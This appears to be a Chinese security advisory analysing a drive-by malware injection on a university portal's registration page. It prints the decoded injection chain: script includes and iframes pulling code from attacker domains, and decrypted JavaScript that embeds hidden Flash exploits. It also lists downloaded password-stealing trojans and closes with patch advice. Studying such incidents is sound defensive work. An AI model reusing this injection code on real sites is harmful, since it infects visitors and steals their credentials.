大学吧网站挂马事件
5月29日，安天实验室发现，近期利用Flash插件挂马事件较多，提请广大用户注意。以下以大学吧网站为例。大学吧网站挂注册页面(http://www.haydao.com/member/register.php)被黑客植入病毒，用户如果访问该网站，
系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息，甚
至导致死机。
该网站问题代码：
<script type="text/javascript" src="/include/js/common.js"></script>
http://www.ha****.com/include/js/common.js问题框架代码：
代码解密后得出的地址：document.writeln("<script src=http://www.tv008.com/include/haed.js></script>");
http://www.t****.com/include/haed.js问题框架代码：
<iframe src=http://www.fire122.cn/zi.htm?006 width=100 height=0></iframe>
http://www.fir****.cn/zi.htm?006问题框架代码：
<iframe width=100 height=100 src=ad/ad.htm></iframe>
http://www.fir****.cn/ad/ad.htm 网马代码：
该加密网马解密后可知利用了一个最新的Adobe Flash Player SWF文件漏洞。
ad.htm解密后网马代码：
window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="always"/>');
document.write('<param name="movie" value="http://www.psp1111.cn/flash/versionie.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="http://www.psp1111.cn/flash/versionie.swf"/>');
document.write('</object>');
}else
{document.write("<EMBED src=http://www.psp1111.cn/flash/versionff.swf width=0 height=0>");}}
该漏洞针对Adobe Flash Player ActiveX版本号为9.0.124.0以前的所有版本有效。
例如：版本：9.0.115.0也会中这种网马。
建议用户尽快更新自己的Adobe Flash Player ActiveX或者到Adobe官方网站下载升级补丁：http://www.adobe.com/go/getflash
http://www.fir****.cn/ad/vip1.htm 网马代码：
该加密网马解密后可知利用以下漏洞来传播：
MS06014漏洞 (clsid:BD96C556-65A3-11D0-983A-00C04FC29E36)
RealPlayer播放器IERPCtl.IERPCtl.1漏洞
联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件漏洞
当用户访问http://www.haydao.com/member/register.php时，系统会自动
下载以下病毒文件：
http://www.pp****.cn/e.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajyu)
http://60.190.114.**/a1.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.akay)
http://60.190.114.**/a2.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajss)
http://60.190.114.**/a3.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajsw)
http://60.190.114.**/a4.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajtt)
http://60.190.114.**/a5.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajto)
http://60.190.114.**/a6.exe
病毒名：(Trojan-PSW.Win32.QQPass.cbj)
http://60.190.114.**/a7.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajtx)
http://60.190.114.**/a8.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajnn)
http://60.190.114.**/a9.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.aknn)
http://60.190.114.**/a10.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajtr)
http://60.190.114.**/a11.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajti)
http://60.190.114.**/a12.exe
病毒名：(Trojan-Dropper.Win32.Agent.sbh)
http://60.190.114.**/a13.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajsz)
http://60.190.114.**/a14.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajtn)
http://60.190.114.**/a15.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.akka)
http://60.190.114.**/a16.exe
病毒名：(Trojan-PSW.Win32.Lmir.bvh)
http://60.190.114.**/a17.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.akau)
http://60.190.114.**/a18.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajsr)
http://60.190.114.**/a19.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajth)
http://60.190.114.**/a20.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajtq)
http://60.190.114.**/a21.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.aeoa)
http://60.190.114.**/a22.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.aklk)
http://60.190.114.**/a23.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajyj)
http://60.190.114.**/a24.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajsp)
http://60.190.114.**/a25.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajta)
http://60.190.114.**/a26.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.akjn)
http://60.190.114.**/a27.exe
病毒名：(Trojan-PSW.Win32.OnLineGames.ajyu)
http://60.190.114.**/a28.exe
病毒名：(Trojan.Win32.StartPage.avr)
http://60.190.114.**/a29.exe
病毒名：(Trojan.Win32.Agent.lww)
以上病毒文件为下载者木马和游戏盗号木马，自动运行后将会，盗取用户敏感
信息，甚至导致死机。由于下载数量太多，这里不一一分析。
页:
[1]